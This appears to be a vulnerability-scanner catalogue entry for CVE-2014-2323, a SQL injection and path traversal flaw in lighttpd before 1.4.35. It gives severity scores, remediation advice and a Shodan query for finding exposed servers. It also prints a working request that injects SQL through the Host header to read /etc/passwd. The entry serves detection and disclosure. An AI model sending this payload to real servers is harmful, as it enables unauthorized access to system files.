| Title | Lighttpd 1.4.34 SQL Injection and Path Traversal |
|---|---|
| Author | geeknik |
| Severity | Critical |
| Impact | Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive data and remote code execution |
| Remediation | Upgrade to a patched version of Lighttpd or apply the necessary security patches |
| CVSS Score | 9.8 |
| EPSS Score | 0.92388 |
| CVE ID | CVE-2014-2323 |
| CWE ID | CWE-89 |
| Shodan Query | cpe:"cpe:2.3:a:lighttpd:lighttpd" |
| Tags | cve2014 cve lighttpd injection seclists sqli vuln |
A SQL injection vulnerability in mod_mysql_vhost.c in lighttpd before 1.4.35 allows remote attackers to execute arbitrary SQL commands via the host name (related to request_check_hostname).
GET /etc/passwd HTTP/1.1
Host: [::1]' UNION SELECT '/
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-2323.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-2323.pcap
N/AN/A